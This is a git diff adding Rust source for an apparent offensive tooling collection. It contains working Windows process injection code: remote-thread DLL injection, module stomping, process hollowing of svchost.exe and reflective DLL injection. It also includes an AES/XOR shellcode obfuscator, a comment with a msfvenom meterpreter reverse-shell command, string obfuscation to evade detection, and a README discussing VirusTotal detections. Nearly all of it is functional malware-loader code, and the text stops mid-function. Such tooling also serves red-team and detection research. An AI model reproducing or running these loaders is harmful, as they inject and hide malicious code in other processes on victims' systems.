OpenProcess(PROCESS_ALL_ACCESS, 0, process.process_id) }; + + if process.process_handle == 0 { + panic!("{}", obfstr!("[-] Error: failed to open process")); + } + + process.allocated_memory = unsafe { + VirtualAllocEx( + process.process_handle, + null_mut(), + process.file_path.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) as _ + }; + + log::info!("[+] Allocated Memory: {:#x}", process.allocated_memory); + + if process.allocated_memory == 0 { + panic!( + "{}", + obfstr!("[-] Error: failed to allocate memory in the process") + ); + } + + let mut tmp = 0; + let wpm_result = unsafe { + WriteProcessMemory( + process.process_handle, + process.allocated_memory as _, + process.file_path.as_ptr() as _, + process.file_path.len(), + &mut tmp, + ) + }; + + if wpm_result == 0 { + panic!( + "{}", + obfstr!("[-] Error: failed to write to process memory") + ); + } + + let k32_address = unsafe { GetModuleHandleA(obfstr!("KERNEL32.DLL\0").as_ptr()) }; + + if k32_address == 0 { + panic!("{}", obfstr!("[-] Error: failed to get module handle")); + } + + log::info!("[+] Kernel32 Address: {:#x}", k32_address); + + let loadlib_address = unsafe { + GetProcAddress(k32_address, obfstr!("LoadLibraryA\0").as_ptr()) + .expect(obfstr!("Failed to get LoadLibraryA address")) + }; + + log::info!("[+] LoadLibraryA address: {:#x}", loadlib_address as usize); + + let mut tmp = 0; + let dll_thread = unsafe { + CreateRemoteThread( + process.process_handle, + null_mut(), + 0, + Some(std::mem::transmute(loadlib_address as usize)), + process.allocated_memory as _, + 0, + &mut tmp, + ) + }; + + if dll_thread == 0 { + panic!("{}", obfstr!("[-] Error: failed to create remote thread")); + } + + log::info!("[+] {} DLL Injection Complete!", process.file_path); + + unsafe { WaitForSingleObject(dll_thread, 1000) }; + + //unsafe { CloseHandle(dll_thread) }; +} + +fn inject_shellcode(process: &mut Process) { + let module_base = get_module_base_by_name(&process.file_name, process.process_id) + .expect(obfstr!("Failed to get module base address")); + + log::info!("[+] Module Base: {:p}", module_base); + + #[cfg(target_arch = "x86")] + let remote_buffer_len = size_of::() + size_of::(); + #[cfg(target_arch = "x86_64")] + let remote_buffer_len = size_of::() + size_of::(); + + log::info!("[+] Remote Buffer Length: {:#x}", remote_buffer_len); + + let mut remote_buffer: Vec = vec![0; remote_buffer_len]; + + let mut tmp = 0; + let rpm_result = unsafe { + ReadProcessMemory( + process.process_handle, + module_base as _, + remote_buffer.as_mut_ptr() as _, + remote_buffer_len, + &mut tmp, + ) + }; + + if rpm_result == 0 { + panic!("{}", obfstr!("[-] Error: failed to read process memory")); + } + + log::info!("[+] Bytes Read: {}", tmp); + //log::info!("Remote Buffer Content: {:?}", remote_buffer); + + // The 'remote_buffer' is a pointer to a vector in our current process and contains header information of the remote process Microsoft signed DLL + // This header information was read via ReadProcessMemory + let dos_header = remote_buffer.as_mut_ptr() as *mut IMAGE_DOS_HEADER; + + let nt_headers = unsafe { + (remote_buffer.as_mut_ptr() as usize + (*dos_header).e_lfanew as usize) + as *mut IMAGE_NT_HEADERS64 + }; + + // The 'module_base' is the address of the Microsoft signed DLL in the target process + let address_of_entry_pointer = + unsafe { module_base as usize + (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize }; + + log::info!("[+] IMAGE_DOS_HEADER: {:#p} ", dos_header); + log::info!("[+] IMAGE_NT_HEADERS: {:#p}", nt_headers); + log::info!("[+] AddressOfEntryPoint: {:#x}", address_of_entry_pointer); + + let mut tmp = 0; + let wpm_result = unsafe { + WriteProcessMemory( + process.process_handle, + address_of_entry_pointer as _, + BUF.as_ptr() as _, + BUF.len(), + &mut tmp, + ) + }; + + if wpm_result == 0 { + panic!( + "{}", + obfstr!("[-] Error: failed to write to process memory") + ); + } + + let mut tmp = 0; + let dll_thread = unsafe { + CreateRemoteThread( + process.process_handle, + null_mut(), + 0, + Some(std::mem::transmute(address_of_entry_pointer as usize)), + null_mut(), + 0, + &mut tmp, + ) + }; + + if dll_thread == 0 { + panic!("{}", obfstr!("[-] Error: failed to create remote thread")); + } + + unsafe { CloseHandle(dll_thread) }; + unsafe { CloseHandle(process.process_handle) }; +} + +/// Gets the process ID by name, take process name as a parameter +fn get_process_id_by_name(process_name: &str) -> Result { + let h_snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; + + if h_snapshot == INVALID_HANDLE_VALUE { + return Err(obfstr!("Failed to call CreateToolhelp32Snapshot").to_owned()); + } + + let mut process_entry: PROCESSENTRY32 = unsafe { std::mem::zeroed::() }; + process_entry.dwSize = size_of::() as u32; + + if unsafe { Process32First(h_snapshot, &mut process_entry) } == 0 { + return Err(obfstr!("Failed to call Process32First").to_owned()); + } + + loop { + if convert_c_array_to_rust_string(process_entry.szExeFile.to_vec()).to_lowercase() + == process_name.to_lowercase() + { + break; + } + + if unsafe { Process32Next(h_snapshot, &mut process_entry) } == 0 { + return Err(obfstr!("Failed to call Process32Next").to_owned()); + } + } + + return Ok(process_entry.th32ProcessID); +} + +/// Gets the base address of a module inside a process by name, take module name and process ID as a parameter. +fn get_module_base_by_name(module_name: &str, process_id: u32) -> Result<*mut u8, String> { + let h_snapshot = + unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, process_id) }; + + if h_snapshot == INVALID_HANDLE_VALUE { + return Err(obfstr!("Failed to call CreateToolhelp32Snapshot").to_owned()); + } + + let mut module_entry: MODULEENTRY32 = unsafe { std::mem::zeroed::() }; + module_entry.dwSize = size_of::() as u32; + + if unsafe { Module32First(h_snapshot, &mut module_entry) } == 0 { + return Err(obfstr!("Failed to call Module32First").to_owned()); + } + + loop { + if convert_c_array_to_rust_string(module_entry.szModule.to_vec()).to_lowercase() + == module_name.to_lowercase() + { + break; + } + + if unsafe { Module32Next(h_snapshot, &mut module_entry) } == 0 { + return Err(obfstr!("Failed to call Module32Next").to_owned()); + } + } + + return Ok(module_entry.modBaseAddr); +} + +/// Converts a C null terminated String to a Rust String +pub fn convert_c_array_to_rust_string(buffer: Vec) -> String { + let mut rust_string: Vec = Vec::new(); + for char in buffer { + if char == 0 { + break; + } + rust_string.push(char as _); + } + String::from_utf8(rust_string).unwrap() +} + +#[allow(dead_code)] +/// Gets user input from the terminal +fn get_input() -> std::io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +#[allow(dead_code)] +/// Used for debugging +pub fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +} diff --git a/memN0ps/arsenal-rs/module_stomping-rs/thread.png b/memN0ps/arsenal-rs/module_stomping-rs/thread.png new file mode 100644 index 0000000..77ec1d6 Binary files /dev/null and b/memN0ps/arsenal-rs/module_stomping-rs/thread.png differ diff --git a/memN0ps/arsenal-rs/module_stomping-rs/windbg.png b/memN0ps/arsenal-rs/module_stomping-rs/windbg.png new file mode 100644 index 0000000..9d23665 Binary files /dev/null and b/memN0ps/arsenal-rs/module_stomping-rs/windbg.png differ diff --git a/memN0ps/arsenal-rs/obfuscate_shellcode-rs/.gitignore b/memN0ps/arsenal-rs/obfuscate_shellcode-rs/.gitignore new file mode 100644 index 0000000..088ba6b --- /dev/null +++ b/memN0ps/arsenal-rs/obfuscate_shellcode-rs/.gitignore @@ -0,0 +1,10 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk diff --git a/memN0ps/arsenal-rs/obfuscate_shellcode-rs/Cargo.toml b/memN0ps/arsenal-rs/obfuscate_shellcode-rs/Cargo.toml new file mode 100644 index 0000000..68da6b5 --- /dev/null +++ b/memN0ps/arsenal-rs/obfuscate_shellcode-rs/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "obfuscate_shellcode-rs" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +libaes = "0.6.1" +itertools = "0.10.3" diff --git a/memN0ps/arsenal-rs/obfuscate_shellcode-rs/src/main.rs b/memN0ps/arsenal-rs/obfuscate_shellcode-rs/src/main.rs new file mode 100644 index 0000000..0c4d3d6 --- /dev/null +++ b/memN0ps/arsenal-rs/obfuscate_shellcode-rs/src/main.rs @@ -0,0 +1,31 @@ +use libaes::Cipher; +use itertools::Itertools; + +fn main() { + //msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -f csharp + let shellcode: Vec = vec![0x90, 0x90, 0x90]; + + + //change keys + let xor_shellcode: Vec = xor_encode(&shellcode, 0xDA); + let aes_shellcode: Vec= aes_256_encrypt(&shellcode, b"ABCDEFGHIJKLMNOPQRSTUVWXYZ-01337", b"This is 16 bytes"); + + println!("XOR Shellcode: {:#x}", xor_shellcode.iter().format(", ")); + println!(); + println!(); + println!("AES Shellcode: {:#x}", aes_shellcode.iter().format(", ")); +} + +fn xor_encode(shellcode: &Vec, key: u8) -> Vec { + shellcode.iter().map(|x| x ^ key).collect() +} + +fn aes_256_encrypt(shellcode: &Vec, key: &[u8; 32], iv: &[u8; 16]) -> Vec { + // Create a new 128-bit cipher + let cipher = Cipher::new_256(key); + + // Encryption + let encrypted = cipher.cbc_encrypt(iv, shellcode); + + encrypted +} \ No newline at end of file diff --git a/memN0ps/arsenal-rs/process_hollowing-rs/.gitignore b/memN0ps/arsenal-rs/process_hollowing-rs/.gitignore new file mode 100644 index 0000000..088ba6b --- /dev/null +++ b/memN0ps/arsenal-rs/process_hollowing-rs/.gitignore @@ -0,0 +1,10 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk diff --git a/memN0ps/arsenal-rs/process_hollowing-rs/Cargo.toml b/memN0ps/arsenal-rs/process_hollowing-rs/Cargo.toml new file mode 100644 index 0000000..c4269f8 --- /dev/null +++ b/memN0ps/arsenal-rs/process_hollowing-rs/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "process_hollowing-rs" +version = "0.1.0" +edition = "2021" +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +ntapi = { version = "0.3.7", features = ["impl-default"]} +winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi"] } +libaes = "0.6.1" diff --git a/memN0ps/arsenal-rs/process_hollowing-rs/README.md b/memN0ps/arsenal-rs/process_hollowing-rs/README.md new file mode 100644 index 0000000..dae8842 --- /dev/null +++ b/memN0ps/arsenal-rs/process_hollowing-rs/README.md @@ -0,0 +1,21 @@ +# Process Hollowing + +## Detections + +I had 1 detection on Virus Total but this will change after making the project public, also don't rely 100% on virus total results. + +https://www.virustotal.com/gui/file/054783446c4e72a1d46b4cca5f57128ad55ebde1511dbdd5f40be6d497644193?nocache=1 + +![Detection](./detection.png) + +## References + +* https://github.com/kmanc/remote_code_oxidation +* https://theevilbit.blogspot.com/2018/08/about-writeprocessmemory.html +* https://github.com/snovvcrash/DInjector/ +* https://docs.rs/winapi/latest/winapi/index.html +* https://docs.rs/ntapi/latest/ntapi/index.html +* https://twitter.com/MrUn1k0d3r (MrUn1k0d3r's Discord) +* https://twitter.com/rustlang (Rust Community's Discord) +* https://github.com/trickster0/OffensiveRust +* https://docs.rs/libaes/latest/libaes/ \ No newline at end of file diff --git a/memN0ps/arsenal-rs/process_hollowing-rs/detection.png b/memN0ps/arsenal-rs/process_hollowing-rs/detection.png new file mode 100644 index 0000000..7b9955a Binary files /dev/null and b/memN0ps/arsenal-rs/process_hollowing-rs/detection.png differ diff --git a/memN0ps/arsenal-rs/process_hollowing-rs/src/main.rs b/memN0ps/arsenal-rs/process_hollowing-rs/src/main.rs new file mode 100644 index 0000000..14609ac --- /dev/null +++ b/memN0ps/arsenal-rs/process_hollowing-rs/src/main.rs @@ -0,0 +1,224 @@ +use std::{ + ptr::{ + null_mut, + }, + mem::{ + size_of, + }, + ffi::{ + CString, + }, +}; + +use libaes::Cipher; +use winapi::{ + shared::{ + ntdef::{ + PSTR, NT_SUCCESS + }, + }, + um::{ + processthreadsapi::{ + CreateProcessA, + STARTUPINFOA, + PROCESS_INFORMATION, + }, + winbase::{ + CREATE_SUSPENDED, + }, + errhandlingapi::{ + GetLastError, + }, + winnt::{ + IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE, PAGE_READWRITE, + }, handleapi::CloseHandle, + }, + ctypes::{ + c_void + } +}; + +use ntapi::{ + ntpsapi::{ + PROCESS_BASIC_INFORMATION, + PROCESSINFOCLASS, NtQueryInformationProcess, NtResumeThread, + }, ntmmapi::{NtWriteVirtualMemory, NtReadVirtualMemory, NtProtectVirtualMemory} +}; + +fn main() { + let lp_application_name: PSTR = null_mut(); + let lp_command_line = CString::new("C:\\Windows\\System32\\svchost.exe").unwrap().into_raw(); + //let lp_current_directory: PSTR = null_mut(); + let mut startup_info = STARTUPINFOA::default(); + let mut process_information = PROCESS_INFORMATION::default(); + + let create_process_result = unsafe { CreateProcessA( + lp_application_name, + lp_command_line, + null_mut(), + null_mut(), + 0, + CREATE_SUSPENDED, + null_mut(), + null_mut(), + &mut startup_info, + &mut process_information) }; + + if create_process_result == 0 { + panic!("[-] Failed to call CreateProcessA {:?}", unsafe { GetLastError() }); + } + + let process_handle = process_information.hProcess; + let thread_handle = process_information.hThread; + let mut process_basic_information = PROCESS_BASIC_INFORMATION::default(); + let process_information_class = PROCESSINFOCLASS::default(); + + let status = unsafe { NtQueryInformationProcess( + process_handle, + process_information_class, + &mut process_basic_information as *mut _ as *mut c_void, + size_of::() as u32, + null_mut() + ) }; + + if !NT_SUCCESS(status) { + panic!("[-] Failed to call NtQueryInformationProcess: {:#x}", status); + } + + let image_base_offset = process_basic_information.PebBaseAddress as u64 + 0x10; + let mut image_base_buffer = [0; size_of::<&u8>()]; + + let status = unsafe { NtReadVirtualMemory( + process_handle, + image_base_offset as *mut c_void, + image_base_buffer.as_mut_ptr() as _, + image_base_buffer.len(), + null_mut() + ) }; + + if !NT_SUCCESS(status) { + panic!("[-] Failed to get ImageBaseAddress via NtReadVirtualMemory: {:#x}", status); + } + + let image_base_address = usize::from_ne_bytes(image_base_buffer); + println!("[+] ImageBaseAddress: {:#x}", image_base_address); + + let mut dos_header = IMAGE_DOS_HEADER::default(); + + let status = unsafe { NtReadVirtualMemory( + process_handle, + image_base_address as *mut c_void, + &mut dos_header as *mut _ as _, + std::mem::size_of::(), + null_mut() + ) }; + + + if !NT_SUCCESS(status) { + panic!("[-] Failed to get IMAGE_DOS_HEADER via NtReadVirtualMemory: {status}"); + } else if dos_header.e_magic != IMAGE_DOS_SIGNATURE { + panic!("[-] Error: IMAGE_DOS_HEADER is invalid") + } + + let mut nt_header = IMAGE_NT_HEADERS64::default(); + + let status = unsafe { NtReadVirtualMemory( + process_handle, + (image_base_address + dos_header.e_lfanew as usize) as *mut c_void, + &mut nt_header as *mut _ as _, + std::mem::size_of::(), + null_mut() + ) }; + + if !NT_SUCCESS(status) { + panic!("[-] Failed to get IMAGE_NT_HEADERS64 via NtReadVirtualMemory: {:#x}", status); + } else if nt_header.Signature != IMAGE_NT_SIGNATURE { + panic!("[-] Error: IMAGE_NT_HEADER is invalid"); + } + + let entry_point = image_base_address as usize + nt_header.OptionalHeader.AddressOfEntryPoint as usize; + println!("[+] AddressOfEntryPoint: {:#x}", entry_point); + + //xor encrypted shellcode goes here. + //let xor_shellcode: Vec = vec![0x90, 0x90, 0x90]; + //let mut shellcode: Vec = xor_decode(&encoded_shellcode, 0xDA); + + //aes encrypted shellcode goes here + let aes_shellcode: Vec = vec![0x90, 0x90, 0x90]; + let mut shellcode: Vec = aes_256_decrypt(&aes_shellcode, b"ABCDEFGHIJKLMNOPQRSTUVWXYZ-01337", b"This is 16 bytes"); + + + //Change memory protection to PAGE_READWRITE + let mut base_address = entry_point as *mut c_void; + let mut buffer_length = shellcode.len(); + let mut bytes_written = 0; + let mut old_protect: u32 = 0; + let status = unsafe { NtProtectVirtualMemory(process_handle, &mut base_address, &mut buffer_length, PAGE_READWRITE, &mut old_protect) }; + + if !NT_SUCCESS(status) { + panic!("[-] Failed to call NtProtectVirtualMemory: {:#x}", status); + } + + let base_address = entry_point as *mut c_void; + let buffer = shellcode.as_mut_ptr() as *mut c_void; + let buffer_length = shellcode.len(); + let status = unsafe { NtWriteVirtualMemory(process_handle, base_address, buffer, buffer_length, &mut bytes_written) }; + + + if !NT_SUCCESS(status) { + panic!("[-] Failed to call NtWriteVirtualMemory: {:#x}", status); + } + + //Restore memory protections to PAGE_READONLY + let mut base_address = entry_point as *mut c_void; + let mut buffer_length = shellcode.len(); + let mut temp = 0; + let status = unsafe { NtProtectVirtualMemory(process_handle, &mut base_address, &mut buffer_length, old_protect, &mut temp) }; + + if !NT_SUCCESS(status) { + panic!("[-] Failed to call NtProtectVirtualMemory and restore memory protection: {:#x}", status); + } + + let mut suspend_count: u32 = 0; + let status = unsafe { NtResumeThread(thread_handle, &mut suspend_count) }; + + if !NT_SUCCESS(status) { + panic!("[-] Failed to call NtResumeThread: {:#x}", status); + } + + unsafe { + CloseHandle(thread_handle); + CloseHandle(process_handle); + } +} + +/* +fn xor_decode(shellcode: &Vec, key: u8) -> Vec { + shellcode.iter().map(|x| x ^ key).collect() +} +*/ + +fn aes_256_decrypt(shellcode: &Vec, key: &[u8; 32], iv: &[u8; 16]) -> Vec { + // Create a new 128-bit cipher + let cipher = Cipher::new_256(key); + + //Decryption + let decrypted = cipher.cbc_decrypt(iv, &shellcode); + + decrypted +} + +/* +fn get_input() -> io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +/// Used for debugging +fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +}*/ \ No newline at end of file diff --git a/memN0ps/arsenal-rs/rdi-rs/.gitattributes b/memN0ps/arsenal-rs/rdi-rs/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/memN0ps/arsenal-rs/rdi-rs/.gitignore b/memN0ps/arsenal-rs/rdi-rs/.gitignore new file mode 100644 index 0000000..6985cf1 --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/.gitignore @@ -0,0 +1,14 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb diff --git a/memN0ps/arsenal-rs/rdi-rs/LICENSE b/memN0ps/arsenal-rs/rdi-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/arsenal-rs/rdi-rs/README.md b/memN0ps/arsenal-rs/rdi-rs/README.md new file mode 100644 index 0000000..dd8ec15 --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/README.md @@ -0,0 +1,19 @@ +# Reflective DLL Injection (RDI) + +Check out Shellcode Reflective DLL Injection (sRDI) here: +* https://github.com/memN0ps/srdi-rs + +## References and Credits + +* https://github.com/stephenfewer/ReflectiveDLLInjection/ +* https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel) +* https://github.com/dismantl/ImprovedReflectiveDLLInjection +* https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html +* https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/ +* https://github.com/Cracked5pider/KaynLdr +* https://github.com/monoxgas/sRDI +* https://github.com/Ben-Lichtman/reloader/ +* https://github.com/not-matthias/mmap/ +* https://github.com/memN0ps/mmapper-rs +* https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI +* https://github.com/Jaxii/idk-rs/ diff --git a/memN0ps/arsenal-rs/rdi-rs/inject/Cargo.toml b/memN0ps/arsenal-rs/rdi-rs/inject/Cargo.toml new file mode 100644 index 0000000..3d2c9d1 --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/inject/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "inject" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +sysinfo = "0.20.4" +log = "0.4.17" +env_logger = "0.9.0" + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices" +] \ No newline at end of file diff --git a/memN0ps/arsenal-rs/rdi-rs/inject/src/main.rs b/memN0ps/arsenal-rs/rdi-rs/inject/src/main.rs new file mode 100644 index 0000000..2fb518b --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/inject/src/main.rs @@ -0,0 +1,289 @@ +use std::{ptr::null_mut, collections::BTreeMap, ffi::{CStr}}; +use sysinfo::{Pid, SystemExt, ProcessExt}; +use windows_sys::Win32::{System::{Threading::{OpenProcess, PROCESS_ALL_ACCESS, IsWow64Process, CreateRemoteThread}, SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}, Diagnostics::Debug::{IMAGE_NT_HEADERS64, WriteProcessMemory, IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER}, Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx}}, Foundation::{BOOL, CloseHandle}}; + +fn main() { + env_logger::init(); + let process_id = get_process_id_by_name("notepad.exe") as u32; + log::info!("[+] Process ID: {:}", process_id); + + let dll_bytes = include_bytes!("C:\\Users\\memn0ps\\Documents\\GitHub\\srdi-rs\\reflective_loader\\target\\debug\\reflective_loader.dll"); + + let module_base = dll_bytes.as_ptr() as usize; + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + log::info!("[+] IMAGE_DOS_HEADER: {:?}", dos_header); + + #[cfg(target_arch = "x86")] + let nt_headers = unsafe { (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32 }; + #[cfg(target_arch = "x86_64")] + let nt_headers = unsafe { (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64 }; + log::info!("[+] IMAGE_NT_HEADERS: {:?}", nt_headers); + + + // Get a handle to the target process with all access + let process_handle = unsafe { + OpenProcess( + PROCESS_ALL_ACCESS, + 0, + process_id + ) + }; + + if process_handle == 0 { + panic!("Failed to open a handle to the target process"); + } + + log::info!("[+] Process handle: {:?}", process_handle); + + //Check if target process is x64 or x86 + check_arch(module_base, process_handle); + + // Allocate memory in the target process for the image + let remote_image = unsafe { + VirtualAllocEx( + process_handle, + null_mut(), + (*nt_headers).OptionalHeader.SizeOfImage as usize, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ) + }; + + log::info!("[+] Remote allocated memory region for the dll: {:p}", remote_image); + + if remote_image == null_mut() { + panic!("Failed to allocate memory in the target process for dll"); + } + + // Write the the local image to the target process after rebasing and resolving imports in the local process + let wpm_result = unsafe { + WriteProcessMemory( + process_handle, + remote_image as _, + module_base as _, + (*nt_headers).OptionalHeader.SizeOfImage as usize, + null_mut(), + ) + }; + + if wpm_result == 0 { + panic!("Failed to write the image to the target process"); + } + + let loader_address = get_exports_by_name(module_base as _, "memn0ps_loader".to_owned()).expect("Failed to find export"); + log::info!("[+] Local Reflective Loader Address/offset: {:?}", loader_address); + + let reflective_loader = remote_image as usize + (loader_address as usize - module_base); // module_base minus to get the offset + log::info!("[+] Remote Reflective Loader Address/offset: {:#x}", reflective_loader); + pause(); + + // Create remote thread and execute our shellcode + let thread_handle = unsafe { + CreateRemoteThread( + process_handle, + null_mut(), + 0, + Some(std::mem::transmute(reflective_loader as usize)), + remote_image, + 0, + null_mut(), + ) + }; + + if thread_handle == 0 { + panic!("Failed to create remote thread"); + } + + // Close thread handle + unsafe { CloseHandle(thread_handle) }; + + + + + + // The following is used for debugging. + + let get_peb_ldr = get_exports_by_name(module_base as _, "get_peb_ldr".to_owned()).expect("Failed to find export"); + log::info!("[+] get_peb_ldr: {:#x}", remote_image as usize + (get_peb_ldr as usize - module_base)); + + let set_exported_functions_by_name = get_exports_by_name(module_base as _, "set_exported_functions_by_name".to_owned()).expect("Failed to find export"); + log::info!("[+] set_exported_functions_by_name: {:#x}", remote_image as usize + (set_exported_functions_by_name as usize - module_base)); + + //let get_exports_by_name_address = get_exports_by_name(module_base as _, "get_exports_by_name".to_owned()).expect("Failed to find export"); + //log::info!("[+] get_exports_by_name: {:#x}", remote_image as usize + (get_exports_by_name_address as usize - module_base)); + + let get_module_exports = get_exports_by_name(module_base as _, "get_module_exports".to_owned()).expect("Failed to find export"); + log::info!("[+] get_module_exports: {:#x}", remote_image as usize + (get_module_exports as usize - module_base)); + + let get_loaded_modules_by_name = get_exports_by_name(module_base as _, "get_loaded_modules_by_name".to_owned()).expect("Failed to find export"); + log::info!("[+] get_loaded_modules_by_name: {:#x}", remote_image as usize + (get_loaded_modules_by_name as usize - module_base)); + + let copy_sections_to_local_process = get_exports_by_name(module_base as _, "copy_sections_to_local_process".to_owned()).expect("Failed to find export"); + log::info!("[+] copy_sections_to_local_process: {:#x}", remote_image as usize + (copy_sections_to_local_process as usize - module_base)); + + //let copy_headers = get_exports_by_name(module_base as _, "copy_headers".to_owned()).expect("Failed to find export"); + //log::info!("[+] copy_headers: {:#x}", remote_image as usize + (copy_headers as usize - module_base)); + + let rebase_image = get_exports_by_name(module_base as _, "rebase_image".to_owned()).expect("Failed to find export"); + log::info!("[+] rebase_image: {:#x}", remote_image as usize + (rebase_image as usize - module_base)); + + let resolve_imports = get_exports_by_name(module_base as _, "resolve_imports".to_owned()).expect("Failed to find export"); + log::info!("[+] resolve_imports: {:#x}", remote_image as usize + (resolve_imports as usize - module_base)); + + + let entry_point = unsafe { (*nt_headers).OptionalHeader.AddressOfEntryPoint }; + log::info!("[+] entry_point: {:#x}", remote_image as usize + entry_point as usize); + + log::info!("[+] Injection Completed"); + +} + +fn check_arch(module_base: usize, process_handle: isize) { + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = unsafe { (module_base as usize + (*dos_header).e_lfanew as usize) as *mut PIMAGE_NT_HEADERS32 }; + #[cfg(target_arch = "x86_64")] + let nt_headers = unsafe { (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64 }; + log::info!("[+] IMAGE_NT_HEADERS: {:?}", nt_headers); + + let mut target_arch_is_64: BOOL = 0; + let mut dll_arch_is_64: BOOL = 0; + + //If the process is a 64-bit application running under 64-bit Windows, the value is also set to FALSE. + if unsafe { IsWow64Process(process_handle, &mut target_arch_is_64) == 0 } { + panic!("Failed to call IsWow64Process"); + } + + if unsafe { (*nt_headers).OptionalHeader.Magic == 0x010B } { //PE32 + dll_arch_is_64 = 1; + } else if unsafe { (*nt_headers).OptionalHeader.Magic == 0x020B } { // PE64 + dll_arch_is_64 = 0; + } + + if target_arch_is_64 != dll_arch_is_64 { + panic!("The target process and DLL are not the same architecture"); + } +} + +/// Get process ID by name +fn get_process_id_by_name(target_process: &str) -> Pid { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + + return process_id; +} + +/// Gets exports by name +fn get_exports_by_name(module_base: *mut u8, module_name: String) -> Option<*mut u8> { + + // loop through the module exports to find export by name + for (name, addr) in unsafe { get_module_exports(module_base) } { + if name == module_name { + return Some(addr as _); + } + } + + return None; +} + +/// Retrieves all function and addresses from the specfied modules +unsafe fn get_module_exports(module_base: *mut u8) -> BTreeMap { + let mut exports = BTreeMap::new(); + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + + #[cfg(target_arch = "x86_64")] + let nt_header = (module_base as usize + 